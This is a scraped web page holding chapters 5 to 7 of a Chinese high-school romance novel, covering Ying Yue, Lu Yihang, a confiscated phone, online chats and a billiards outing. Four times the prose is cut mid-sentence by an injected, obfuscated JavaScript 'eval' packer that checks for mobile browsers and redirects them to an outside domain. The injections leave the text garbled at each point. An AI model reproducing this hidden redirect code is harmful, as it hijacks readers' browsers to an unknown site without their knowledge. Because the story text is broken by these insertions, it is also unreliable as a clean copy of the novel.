走到一个大柱子边的时候,又看见了那个黑皮体育生,就是之前围堵路一航那个。 黑皮体育生也看到了她,“哟”了一声,主动打招呼:“纪律委员!” 应悦装没听见。 黑皮体育生旁边还有别人,他可能觉得被应悦无视有点丢脸,直接伸出一只手来,拦了一下她的路,“叫你呢!” 应悦:“干嘛?” 黑皮:“你叫什么名?” 应悦:“你管我叫什么?” 黑皮:“还挺横。” 他已经没有伸手拦着了,应悦也不想和他纠缠,挺胸抬头、目不斜视地走了。 只是脚步暗自加快,怕惹上麻烦。 跟黑皮在一起的其他几个也是体育生,一会儿有个集训要参加,现在都蹲楼底下乘凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543300|171086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 有人起哄黑皮:“这是干嘛啊?追人家连名字都不知道?” 黑皮骂骂咧咧让他们滚蛋,眼珠子转了转,脑壳里的浆糊也跟着搅了搅,训练结束就跑回教室去找路一航了。 路一航在睡觉。 黑皮坐到他旁边的空位置上,推推路一航:“航哥,上次在咱们门口说要叫老师那个女的,是5班的吧?” 路一航的眼皮瞬间睁开了,头也抬起来,看向门口。 没见到人影。 黑皮又说:“我刚才在操场见到她了,她说她想看你打比赛。” 路一航瞥了眼黑皮,重新趴回桌子上,转过头用后脑勺对着他。 被无声拒绝了的黑皮,仍不死心,问路一航:“那女生叫什么啊?下次叫着一起玩呗。” 路一航闭着眼,闷声回他:“滚。” 黑皮委屈巴巴滚了。 不过还是被他知道了应悦的名字,是那个白皮体育生打听到的,白皮是路一航的同桌。 打听的方式非常简单粗暴,就是白皮在隔壁班后门口拦住一个不认识的女生,指着应悦问她叫什么名字。 被拦住的徐莉莉:“……你有什么事吗?” 白皮娇羞一笑,想要看起来人畜无害,“就问问。” 徐莉莉告知了白皮应悦的名字,尿都憋回去了,跑回教室跟应悦报告:“可以呀应悦,你是什么万人迷属性?” 应悦在做题,头也不抬,“少看点小说,多做点卷子。” 徐莉莉如此这般,添油加醋地跟她讲了刚才门口有个男生问她名字的事。应悦听说了,去看,哪里还见得到人影。 她原本没当回事,可是听徐莉莉描述了一下那男生的身高长相,感觉好像是那天见到的另一个体育生。 再想想最近被黑皮拦路的事,心里有些犯嘀咕:他们不会真要揍她吧? 学校是不让带手机进来的,但应悦因为担心被报复,最近都很谨慎地把手机静音放在校服裤兜里,方便求救。 她推己及人,某天放学在楼梯上偶遇路一航的时候,就想提醒他也可以带着通讯工具。 应悦在前面,她回头看路一航,本来就高的男生站在台阶上变得更高了。 她招招手,让路一航跟她并行,然后才问:“你带手机了吗?” 没等路一航作答,应悦偷偷摸摸掏出来裤兜里的手机,在拐角阴暗处展示给路一航:“看。” 她还没说自己的建议,路一航把她手机拿过去了,然后发现屏幕锁了,又递给她:“密码。” 应悦有点懵,输密码解锁,不知道他什么意思。 路一航打开底部的电话图标,输了一串自己的号码,拨号,挂断。 他把手机还给应悦:“好了。” 应悦:啊咧? 她只是问他有没有带手机,不是问他要手机号啊…… 也行吧,有危险可以打给她。 应悦看到年级主任拿着手电筒在楼下巡查,警惕地立马和路一航隔开距离,揣着手机快步往校门跑了。 一直到坐上回家的公交车,应悦重新拿出手机,无意识地打开已拨电话列表,把路一航的号码存进通讯录。 想来想去,应悦在下车前给他发了条短信:“他们没再欺负你吧?” 5. 第 5 章 应悦的消息发出去没多久,就收到了回复。 路一航:“嗯。” 怎么他的手机也跟主人似的,不爱说话啊。 应悦很少使用短信功能了,看着对话框里的文字,觉得有种奇异的像是在写书信一样的感觉。 她又问路一航:“加你Q聊?” 路一航:“我没有。” 没有Q?应悦不太信。 感觉像是托辞,是不想加她吧? 她想再问一句,那他一般用什么软件聊天,又觉得自己这样是不是过分主动,万一他误会自己有什么想法,那就尴尬了。 几步路,应悦还没想好要不要再说句什么,已经到家门口了。 她把手机揣进口袋,进门打了声招呼,她妈端出来一大碗蛋花牛奶,要她喝了补补脑。 应悦坐在饭桌前,边喝,边摸小肚子,心想不知道脑子能补多少,但是这个肚子已经快补出游泳圈了! 等她吃完夜宵,洗漱好了上床躺着,发现路一航又给她发了两条消息。 一条是一串数字。 另一条是解释这串数字:“注册了。” 应悦看着简单的几个字,心跳又不争气地乱了。 她点开软件,加了他好友,对方连头像都未曾设置,看起来确实是刚注册的新号,昵称就叫路一航。 应悦发了个企鹅跳跳的表情,说:“hi~” 打完招呼也不知道还要说什么,输入框里编辑了一句“你居然真的没有Q号”又删除了,换成一句:“很晚了,我睡咯!” 头像跳动,路一航发来:“晚安。” 他不知道是不是脑子抽了,或许是复制粘贴了应悦的信息,居然也发来一个企鹅跳跳的表情。 应悦觉得惊讶,再看一眼,好像还有点萌。 虽然有了联系方式,两个人却也没再聊天。 因为应悦手机第二天就被没收了。 她是很小心的,可防不住班里有猪队友惹祸,害她无辜受牵连。 那天语文课,有个男生在课上玩消消乐被抓,灭绝师太——他们班主任大发雷霆,课间把前后门一关,黑着脸要其他带了手机的同学主动上交。 无人出声。 班主任直接拿出个“钢叉”来,说是探测仪,要是她探出来谁拿了手机直接叫家长。 这下引起了不小骚动,后排有个男生站起来把手机送上讲台。 有了开路先锋,其他带了手机的也纷纷上交。 应悦本来还想靠在墙边负隅顽抗一下的,可是对上师太凌厉的眼神,立马怂了,乖乖把手机交了出去。 徐莉莉看到她带手机非常诧异,这么多天了,她就没见到应悦玩过一次,自制力可真强。 班主任说这些“自首”态度好的学生暂时不通知家长,先把手机没收,等期末考试结束了再去找她要。 接下来她拿着探测仪在教室里走了一圈,并没有什么新发现。 有个住校的女生私下求师太把手机给她,说她只是每天跟在外地工作的妈妈报个平安,师太没有给她开特例,不过每天晚上去宿舍巡查的时候会拍一张她的照片发她妈。 应悦心里猫抓似的,但也没胆子把手机要回来,只是不知道路一航会不会给她发消息。 她自己都没发现,课间去走廊透风的次数频繁了许多。 路一航没见到,倒是见到了好多次黑皮、白皮体育生,可能是他俩太无所事事了,爱到处溜达。 这俩人打听应悦的消息,徐莉莉也替她打听到了对方的名字:黑的叫石昭,白的叫于澜。 连外号都知道了,一个石头,一个玉兰,倒是跟肤色很配对。 “应悦!”石昭见到她就打招呼,一副很熟的样子。 应悦心里还有对他的戒备,并不觉得这热情的招呼里有多少善意,扭头就要跑回教室去。 石昭这次没动手,喊住她:“哎哎,别跑别跑,跟你说个事。” 有同学看过来。 应悦装作没听见,还是跑了。 没想到那俩体育生却卯上劲了,没事就在走廊上溜达,路过应悦班门口的时候还要探头来看两眼。 应悦不知道他们想干嘛,但总归不是什么好事。 后来听徐莉莉说这俩人是不是哪一个喜欢应悦,想追她,应悦才一阵恶寒。 难道他们就是为了造这样的谣,要损她一世英名,还要让老师叫家长? 太可恶了!心肠歹毒! 应悦问徐莉莉:“你从哪儿听说的?” 徐莉莉:“我猜的啊,小说里都这么写的,‘校霸男友强制爱,乖乖女步步沦陷’。” 应悦:“……你都看的啥小说啊?” 徐莉莉脑袋转一圈,确认没有老师,这才把她的小天才学习机拿出来给她看,表面来看这是个电子词典,戳戳这里按按那里就调出来一个小说文档。 应悦白了徐莉莉一眼:“你可真是个小天才。” 徐莉莉大方地把学习机分给应悦看,应悦谢邀婉拒,对校霸一点兴趣都没有。 徐莉莉又换了一本给她看,应悦打眼一扫,看到男主叫什么航,多看了几眼。 学习机的屏幕很小,一页没有多少字,应悦食指戳着翻页按钮,连戳几下,屏幕闪烁着蹦出来一段限制剧情,满屏都是什么“穴”啊“棒”啊的,吓得应悦直接把翻盖屏幕合上,羞恼地骂徐莉莉:“要死了!” 徐莉莉觉得她反应也太大了些,“不是吧,你这么纯情啊?” 应悦捂住耳朵,凝神看书,不听她逗。 又到周五,临休息日,应悦想去师太那里探探口风,看能不能提前把手机要回来。 她保证不再带到学校里了! 趁着课间去办公室送作业的功夫,应悦在门口转来转去,等班主任回来。 班主任还没来,先等来了路一航。 他又被老师叫去谈心了,这次的主题是马上要期末考试了,期中他掉出了年级前十,这次他需要奋起直追。 路一航:“嗯。” 应悦听着他那声无波无澜的应承,觉得他一点都不像要奋起的样子。 她站在栏杆那边等班主任,路一航是贴墙站着在她对面。 应悦趁训话的老师背对她,两只食指一起扒拉着下眼睑,舌头伸老长,对着路一航做了个鬼脸。 路一航看到了。 他的视线从她身上收回来,低头看脚,抿着嘴,怕笑出来。 应悦只逗了他一次就没再闹了,因为灭绝师太回来了。 师太进办公室前先瞅了瞅在门口站着被训话的路一航,然后看到了不远处的应悦,对她招招手:“终于敢来找我了?说说吧,带手机干嘛?” 应悦:“我那天……痛经,怕太难受了就请假让我妈接我回家。” 事情已经过去一段时间了,这事无从查处,应悦也不怕老师问家长, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543301|171086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为她妈确实跟她说过,如果不舒服就带着手机方便请假。 班主任对应悦的话并没起疑,应悦在她眼里是个挺乖的小孩,学习也挺认真的,虽然不算名列前茅,但看着很上进。 不过老师依旧没有网开一面,敦促她好好准备考试,等考完再来拿手机。 应悦离开办公室的时候,路一航也刚好跟老师谈完了心。 两人步伐一致地下楼走回教室。 灭绝师太的办公桌离门口近,站在外面的路一航把她们对话听了个大概,问应悦:“手机被没收了?” 应悦点头:“你给我发信息了?” 路一航:“没。” 应悦:……她就多余问。 走下楼梯,应悦还是关心了句:“最近那俩人没欺负你吧?” 这事已经被反复提起很多次,路一航觉得他还是跟应悦解释一下吧,不然一直被她误会也不好。 可是路途太短,要到教室了。 应悦自说自话,告诉路一航:“他俩总来我教室门口转悠,真讨厌。” 路一航听了,皱了下眉。 确实讨厌。 这天放学,依旧是应悦值日、锁门。 初夏来临,白昼一天天变长,关了教室灯,走廊外面的傍晚还很亮。 没想到一出门,看到两个体育生都在教室后门,看样子是在等她。 不过神态看起来特别……怎么说,谄媚? 他俩对应悦自我介绍,介绍完又解释那天她看见的确实是误会,他们没欺负同学,只是在找路一航帮忙。 至于最近总来找她,是想跟她交朋友,约她出去玩,不过如果她不喜欢的话,以后他们不来打扰她了。 应悦觉得匪夷所思。 就像在动物园里看到的大猩猩,前一秒还呲牙咧嘴挂在藤蔓上跳来跃去,忽然穿上皮鞋戴上礼帽,对你鞠躬还念了一篇英文诗。 就是这种荒谬感。 应悦问:“你们被夺舍了吗?” 石昭:“夺舍……是什么意思?” 于澜:“让你多看看书,没文化了吧!” 石昭:“你有文化,你知道‘夺舍’啊?” 于澜:“我不知道,但我不多嘴问。” 他俩还在说废话,路一航从6班走出来了,背着个斜挎包,看向这边,“说完没?走吧。” 于澜走过去:“好了。” 石昭也看路一航,不过他没动弹,还跟应悦说,“你看吧,我们是朋友,你别脑补太多。” 应悦这会儿不是脑补太多,而是脑子转不动了。 她看那俩人围在路一航旁边,确实像朋友的样子,这让应悦觉得好像自己被耍了似的,但要追究,路一航明明说过自己的脸是上体育课摔的。 也就几秒钟。 路一航走到这边了,离校是要走这边楼梯的。 石昭跟上那两人,和于澜勾肩搭背的,又问应悦:“你没事的话,跟我们一起去玩啊?” 应悦都没问他们要去哪里,路一航就替她做了决定:“她不去。” 他说完,停在应悦面前。 应悦仰头看他,眼睛里有些不忿,也可能是羞恼。 路一航莫名抱歉,为自己没能尽早说清楚。 他抬起手,轻轻拍了拍应悦的发顶,像安抚什么小动物似的,又像个管事的大哥哥。 他弯腰,跟她说:“快回家写作业去。” 6. 第 6 章 应悦坐上公交车的时候还在回忆路一航拍她脑袋的触感。 其实不算拍头,他动作很轻,大概只碰到头发就收了手,可应悦却能感受到那种温度,温热的,温润的,和他清冷气质完全不同的温暖。 她甚至在蓬松的头发被挤压的时候,感觉自己的心也跟着一起弹跳了几下。 应悦坐在公车最后一排的窗边,手里抱紧大大的书包,下巴抵着书包肩带,咬着嘴唇看街上的车流。 明明应该生气的,气他在自己多次询问有没有被欺负的时候不说明真相,让她的关心像个笑话。 可是却因为他的一句哄就完全生不起气来。 那算哄吗?摸她头让她回家写作业什么的。 算吧? 应该算。 应悦的手抓住书包,嘴角溢出的笑意快要遮不住。 现在她不恼火,也不生气了,只剩下好奇。 好奇路一航要跟那两个人去哪里“玩”,总觉得那样三个人站在一起充满了违和感,是要做什么不好的事吗?所以不让她跟着。 应悦皱着眉想,总不会是去参加英语角或者学习互助小组吧。 毕竟是三个都不写作业的人。 想到这儿,她又觉得好笑,路一航自己都不写作业的,居然赶她回家写作业! 她就这么一会儿严肃一会儿傻笑,走神走到差点坐过了站。 可惜手机被没收了,不然应悦还能问问路一航,他们去玩什么了。 进了家门,应悦先看到鞋柜边放着爸爸的皮鞋。 她爸一个月里面有一半的时间在出差,父女俩很少碰到面,但爸爸每次回来都会给她带好吃的和漂亮衣服,所以她觉得爸爸还是很好的一个人。 高声喊了声“爸你回来啦”,过了一会儿应爸才从卧室出来,头发微乱,看着是刚睡了一会儿被叫醒的。 他对女儿笑笑,“放学了?书包放下,爸带你去下馆子。” “好耶!”应悦开心答应,又发现家里只他们两人,疑惑道,“我妈呢?” 应爸的笑好像僵了一秒,马上又恢复正常,“去你姥姥家了,你舅舅家有事要商量。” 应悦没多想,只是奇怪她妈要走怎么不跟她说一声,姥姥家在隔壁市,来回怎么也要个两天时间,可能舅舅家有急事吧。 她看她爸不打算跟她详说,也就懂事地没多嘴问,知道他们都还把她当个小孩。 当小孩也有小孩的好处,大人对她没什么防范心。 晚上应爸在客厅看手机打电话的时候,应悦端着他爸的笔记本电脑,说学校布置了要看一个公开网课。 应爸点点头,忙着处理工作上的事,让她把电脑拿走了。 应悦在卧室里坐到书桌前,掩饰地拿了本本子放在电脑旁边,打开他们学校主页的一个公开课视频,然后登上了Q号。 路一航的头像在抖动。 应悦想着他说过没给自己发信息,手指在触摸板上滑动,点开他的头像。 确实不算发消息,他发了一张照片。 是那两条金鱼的。 除此之外一句话都没说。 应悦把照片放大,观察。 好像也没什么特别的,就是两条鱼在水里游,甚至这张照片都不算特别有美感那种大片。 很普通的随便一拍。 应悦不理解路一航发这照片是什么意思,看一眼时间,是他们加好友以后的第二天晚上发的。 她还在想是先问这张照片什么意思,还是问他去哪里玩了,“嘀嘀嘀”的消息提示音响起来。 应悦心虚地身子一抖,连忙先把软件设置静音,再看消息框。 路一航给她发来个“?”,应该是问她怎么上网了。 没想到这么巧,他也在线。 消息刷新,应悦才看到他的头像也变了,就是他发的那张金鱼照片。 应悦:“用一会儿我爸的电脑。你回家了?” 路一航:“嗯。” 应悦:“你们去玩什么了啊?” 路一航:“台球。” 应悦看着这俩字,思考了一下,那俩人说求他帮忙,就是让他一起打台球吗?这有什么好求的?真怪。 应悦:“你打得很好吗?” 路一航:“还行。” 他怎么总是把天聊死啊…… 应悦挠头,都不知道要跟他说点什么了,感觉他好像不想跟她聊天。 她有点小脾气了,冷冰冰地打出一句:“你忙吧,我要去看书了。” 路一航:“你去吧。” 果然!他就是不想跟她聊天! 挫败的应悦正要退出登录,路一航又发来一句:“之前不是故意骗你,别生气。” 哎哎哎,这次的句子长达十几个字。 应悦先不退了。 她没再纠结他之前的“错误”,只问他:“你道歉这么没有诚意的?” 路一航:“请你喝汽水。” 应悦:“你还欠我一瓶呢!” 路一航:“嗯,欠两瓶了。” 应悦:“我不喝汽水,我生气。” 过了一会儿,似乎是路一航认真思考后才又小心翼翼问她:“要怎么样,就不生气了?” 其实不要怎么样的。 就算他不请她喝汽水,不道歉,也没什么关系,她看到他发这条消息的时候,就已经不生气了。 但他这样问,应悦就觉得好像可以漫天……她不知道怎么形容心里这一刻的慌乱,是那种甜甜的开心,和莫名的酸涩,好像他真给她受了什么委屈,在讨饶一样。 这大概就是“得寸进尺”。 应悦想要什么呢? 她想来想去,告诉他:“你再去打台球的时候,带我一起吧,想见识一下。” 路一航:“好,看情况。” 好像答应了,又好像留了些余地。 应悦又说:“你期末考试能考第一吗?” 路一航:“我尽量。” 他刚才只是问她要怎么样就不生气了,又没说她只能提一个要求。 应悦继续说:“你认真写一个月作业。” 路一航:“……” 他引用了上面应悦说的那句她生气的话,像是时光倒流抹去之前的承诺,回复她:“你还是继续生气吧。” 应悦“扑哧”笑出来。 应爸敲了敲门。 应悦连忙把对话框关了,假装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543302|171086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听课,让她爸进门。 应爸提醒她已经很晚了,早睡早起,白天再学习,他要用电脑做点图。 应悦不想耽误爸爸工作,匆匆点头,“再给我五分钟,就快看完了!” 应爸转身离开,应悦给路一航发消息:“我爸要用电脑了,88!” 路一航:“嗯,晚安。” 她回了他一个企鹅跳跳,谨慎地退出登录又消灭痕迹,这才把电脑还给了她爸。 躺在床上望着天花板,两人的聊天记录就好像投影到天花板上似的,一字一句都清晰浮现在眼前。 应悦觉得脸颊发烫,好像能听见他在耳边低声问她:“要怎么样,就不生气了?” 她捂着脸无声尖叫,在床上翻来覆去地打滚,心里涌出一丝丝难言的甜意。 - 之后的一段日子,应悦都在老老实实上学,那两个体育生跟她说过不会再打扰她以后,真就没再到她面前晃了。 徐莉莉还好奇地问她:“咦?不追你了吗?知难而退了?” 应悦:“别瞎说,本来也没追我。你怎么好像很失望的样子?” 徐莉莉脸上一抹娇羞:“我觉得玉兰哥很不错呢。” 应悦嫌弃地瞥了她一眼,“夏天都到了,你能别在这思春吗?” 徐莉莉一点也不介意她的调侃,但也只是嘴上说说,并没打算采取什么行动。琴高是市里最好的高中,考进来的都是费了九牛二虎之力的学生,就算是徐莉莉这样不太自觉的,最多也就是见缝插针地看点言情小说,不会真去顶风作案谈恋爱。 说到看小说,她最近又有了新的作妖方式——她把一本精装本的《古文观止》抠出来厚厚一个凹槽,把纸质小说严丝合缝地放进凹槽里,上自习课的时候胆大包天地赏读。 应悦觉得,迟早有一天,徐莉莉会被老师抓到国旗下做检讨的。 但她劝也劝不听,只好自扫门前雪,多刷几套模拟题,把近在眼前的期末考试对付过去。 这次考试还挺重要的,因为和下学期的分科分班挂钩。 晚自习课间,应悦觉得心烦,下楼去小卖部买饮料,正巧,遇到了从楼下上来的路一航。 他见着她,难得主动打了声招呼:“去哪儿?” 应悦下巴对着楼下的小卖部一扬:“去买水。” 路一航转个身,跟她一起往楼下走。 他给她买了瓶波子汽水,葡萄味,是她以前买过的。 应悦本来只是想买个乌龙茶提提神,不过冰冰凉的汽水也行,喝一口心情都跟着舒爽。 他俩往回走,应悦问起选科的事,“你应该是选理科吧?” 路一航:“嗯。” 应悦不问自答:“我也选理科,但愿能分到尖子班。” 路一航看了看她,说了句:“加油。” 应悦道谢,就不给路一航鼓劲了,她相信他闭着眼都能考到尖子班。 到了教室门口,路一航要进门去,走之前跟应悦说:“好好考,考完带你去打球。” 是应悦之前跟他提过的。 她手里还握着汽水玻璃瓶,一晃,半瓶的气泡都跳跃升腾。 应悦对他笑了笑,给自己鼓劲:“加油!” 7. 第 7 章 临近期末周,学校的氛围都变得紧张,课间在走廊跑闹的声音几乎没有了,老师喊学生去办公室谈心的频次直线上升。 但路一航却没在谈心行列之中。 他最近表现得非常“乖”,班主任看他顺眼极了,认为是自己的苦口婆心终于打动了顽劣少年。 早读课,路一航拿着中性笔在英语卷子上快速地勾划,那是昨晚离校前没写完的作业。 同桌于澜托着腮看他,不解地问:“航哥最近怎么这么爱学习,要考第一啊?” 这话说别人,像阴阳怪气。 说路一航的话,哥是真有这个底气的。 果然,路一航“嗯”了一声,淡定里带着气死人的嚣张。 于澜被噎得说不出话来,只觉得连路一航这个学霸都这么重视期末考试的话,那他也背一会儿单词吧。 路一航手里的英语卷已经做得差不多了,只剩最后一篇作文,他看了看主题,实在懒得替李华写信,想把笔放下。 又想着,离一个月期限也没几天了,唉。 笔尖重新落在卷面上,他工工整整写完了作业。 不知道是不是为了给高一学子们一个下马威,这次的期末考试题难度非常大,几乎每一科考完,都会考哭一群学生。 应悦也觉得考题难,但她不至于哭出来,只是心里忐忑,怕这次没考好影响分班。 最后一门考试结束,灭绝师太来班里开班会,对着躁动不安的学生宽慰了一顿,又感慨这一年相伴不易,希望大家聚是一团火,散作满天星。 应悦这下被说得鼻子酸酸的,和徐莉莉在桌下拉着手,依依惜别。 后来师太又叮嘱了一些节点安排,说了返校查成绩时间和分班家长会,组织大家进行了大扫除,把保险柜里的书和杂物都清空干净。 应悦终于拿回了她的手机。 因为一直关着机,她偷偷打开发现还有一点残存的电量。 她趁着大家都在收拾书柜,没人注意到她,给路一航发了条消息:“今天去打台球?” 发完就赶紧把手机藏起来,又过了好一会儿才找机会看他回没回。 路一航:“好。” 考试的压力还有离愁别绪统统消失,应悦只觉得心里跳进了一头小鹿。 不想被人看见,应悦磨磨蹭蹭地收拾到了最后才离开。 她去隔壁班找路一航,路一航像是知道她要来似的,坐在座位上等着。 不过不只有他,旁边坐着于澜,地上还蹲着石昭。 应悦:…… 好吧,原来不是只有他俩去玩,还有别人。 她觉得有点失望,但那点小情绪很快就被她隐藏好,笑意盈盈地问:“你们在等我吗?” 石昭先跳起来:“没错!来来来,悦姐我帮你搬!” 他跑到应悦身边,接过她手里一看就很重的编织袋子,里面全是书。 这一声“姐”叫的应悦有点不好意思。 于澜骂石昭:“臭不要脸,你比人家大几岁,这声姐怎么叫得出口的?” 应悦好奇地看向石昭,他们不是同龄人吗? 石昭抱着袋子跟她解释:“我初中没考好,留了一级,然后生日也比较大。不过咱心态年轻~叫姐是尊称!” 他还在油嘴滑舌,路一航站了起来,挡在石昭和应悦中间,看向应悦说:“走吧,一会儿天黑了。” “哎,好。”应悦手里没了那一袋子书,好像没安全感似的,两只手无措地垂在裤缝边,双肩也有些塌。 路一航的视线扫过她背着的那个硕大书包,理所当然地觉得她是被包压得垮了肩,轻轻拉起书包的提手,“帮你拿吧。” 因为刚才已经有石昭帮她扛袋子了,此刻路一航说替她拿包也没有很突兀。 应悦支吾着把书包解下来,跟在三个男生身边走的时候只觉得脸好烫,夏天的风把她头发丝都吹得潮热。 四个人,打车去的台球厅。 石昭熟门熟路地进了店里找老板开台,应悦好奇地四处打量,半地下室的店内拢共四张球桌,有两张桌子空着,另外两张前面都站了人,旁边的座位上也坐了几个年轻男女,有一个男的在抽烟,无窗的室内味道并不好闻。 “还玩吗?”路一航的声音从身后头顶传过来。 应悦回头看他,看到他正看着抽烟的人方向,眉心皱着,似乎是讨厌那味道。 “玩!”应悦怕他不带自己玩了,着急点点头,又跟他商量或是保证,“就玩这一次。” 路一航“嗯”了一声,把她书包放在墙角的柜子上,问她要喝什么饮料。 应悦:“就矿泉水吧,谢谢。” 路一航折身去买水,付钱的时候在前台跟老板说了几句什么,没一会儿应悦看见光头老板去跟那个抽烟的男人交谈,对方把烟掐了。 她好奇,问路一航:“你刚跟人说什么了啊?” 路一航:“公共场合室内禁烟,我说我要打市长热线投诉。” 应悦有点不信:“真这么说的?” 路一航看她一眼,拿着球杆俯身开球,一击,彩球四散滚开,他的声音和球落袋的声音一同响起,“假的。” 又被耍了,应悦撅起嘴来。 路一航只是很随意地击球,眼看着台面上的球越来越少,他在某次“失误”后抱着球杆退到后面,让应悦来打。 应悦不会。 但她刚才看了一会儿,觉得这没什么难的,摩拳擦掌就上了。 球杆已经被她打了厚厚一层蜡,她屏气凝神,握着杆对准白球,“腾”的一下,怼歪了,白球原地跳了一下,压根没动弹。 应悦:…… 石昭在旁边看着,发出不厚道的笑声,又立马噤声,说她“第一次就能打到球这不是天才是什么”。 应悦臊得脸红,拿起旁边的水瓶就要灌水。 “那是我的。”在她嘴唇快要贴到瓶口的时候,路一航提醒了句。 应悦又手忙脚乱把水放下,脸更红了。 石昭起身,热情地跟应悦说他来教她,应悦还没说话,于澜在旁边先勾住他脖子,“哎,石头,我要撒尿,你陪我去。” 石昭骂骂咧咧,不想走,但被勒走了。 这下,桌边只剩下应悦和路一航。 应悦看看路一航,重新拿着球杆弯下腰,想再找找手感。 胳膊被人捏着架起来几分。 路一航跟她说:“身体跟球杆成一条直线,手臂放松。” 天老爷!还放松咧! 她现在整个人完全僵住,只能感觉到胳膊上传来的他的指尖传递的温度。 他还没完,又点了点她握球杆的那只手背,“拇指和食指握着就行,其他手指放松。” 道理她听进去了,身体却完全不受控制。 她大脑空白地又击了一次球,这次干脆击空,连白球都没碰上。 路一航皱了皱眉,似乎不理解她怎么能把球打成这样。 他走过去,拿起白球和彩球摆成好进洞的角度,然后让应悦再次尝试,“瞄准,用力。” 应悦咬着嘴唇,也不想在他面前表现得像个智障。 她左手搭在台上架着球杆,右手反复抽拉球杆,嘭!终于,这次球进洞了。 应悦兴奋地第一时间回头看路一航,他对她笑了笑,“不错。” 后面他就一直给她摆球,全是摆成一条直线,只要她能把白球用力怼出去就能进球的那种,有时候运气好还能一次进俩。 应悦玩得不亦乐乎,只剩最后一颗黑球了,路一航没有给她重新摆。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543303|171086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这球的位置不是特别好,应悦绕着桌子走一圈,也没想好怎么样打。 她向路一航求助,语气里带着自己没察觉的撒娇,“你帮帮我呀。” 她想着,让路一航给她把球摆在容易击打的地方,就像之前那样。 可路一航看了她一眼,这次没有动球,而是在她身边站定,左手垂着,右手握住球杆,带着她打了一球,“这样。” 他的姿势并不轻浮,站的位置在她身旁而非身后,手甚至都没握她的手,只是同持一杆。 可他靠过来,弯腰,她也跟着弯腰,呼吸的热度好像就在耳边。 球杆击在白球上的那一瞬,两人的手臂以同样的幅度前倾,夏季校服没有遮挡的皮肤就这样触碰在一起。 如果现在屋里有个煤气罐,应悦觉得自己脸上的热度应该能把它引爆。 不等应悦开口说什么,楼梯上凌乱脚步声传来,下来了一群男男女女。 于澜和石昭也跟在一旁。 他们直冲这边走来。 路一航看于澜,于澜小声解释:“真不是我们叫的,碰巧遇见了。” 那群人里领头的男生跟路一航打了声招呼,吊儿郎当的叫他“小老弟”,又约他来比两局。 路一航:“不打了,今天太晚了。” 对方不依不饶,非要让他一起玩,还看向了应悦。 应悦下意识觉得危险,退到了路一航旁边,路一航也默契地挡在她身前,看这情形,今天“不给面子”可能走不了。他扭头,问应悦要不要先回家。 应悦这个学校里的乖乖崽,都没见过几个社会人士,脑子里乱七八糟的都是港片里看到的古惑仔,以为是自己非要来打球见世面才惹了麻烦,有些害怕,但又很有义气地要留下来等他一起走。 路一航于是跟那人说:“就比一场。” 对方很大度地让他开球。 应悦退到墙角,依旧紧张,盯着路一航的背影。 旁边有走动声和说话声,好像在说什么“彩头”,应悦没仔细听,只顾着看路一航。 路一航开球,跟刚才陪她玩时的状态完全不同,应悦看到他绷紧的手臂线条,发现他胳膊居然有一些不明显的肌肉。 他拿着球杆,一路走,一路打,台球一路落袋,居然是没给对方击球的机会,一杆清台了。 人群里有少许骚动,好几个人笑骂着脏话。 路一航说好只比一场的,赢了球就不玩了,喊应悦他们走人。 应悦懵懵地跟在路一航身后,想象中会被刁难的场景并没发生,她上楼梯的时候回头看,看到那几个人已经自己玩起来了。 有一个穿着黑色修身皮裙的姐姐在打球,另有一个男生从身后圈抱着她握着她的手,这亲密的姿势让她想起刚才路一航“指导”她打球的样子。 虽然完全不同,但不妨碍她再次把脸羞个通红。 出了店门,呼吸着新鲜的空气。 石昭那张黑脸笑得呲出一口大白牙,问路一航暑假能不能多来打几场。 路一航:“不打。” 石昭耍心眼子,又去问应悦:“悦姐还来玩不?” 他问完,应悦就感觉到有道视线扫射到她脸上,果然,她扭头发现路一航在看她,表情挺严肃。 应悦答石昭:“不来了,我假期要上补习班。” 石昭没说话,路一航倒是“嗯”了一声。 应悦抬手,用手背贴贴自己的脸,热度依旧没退下去。 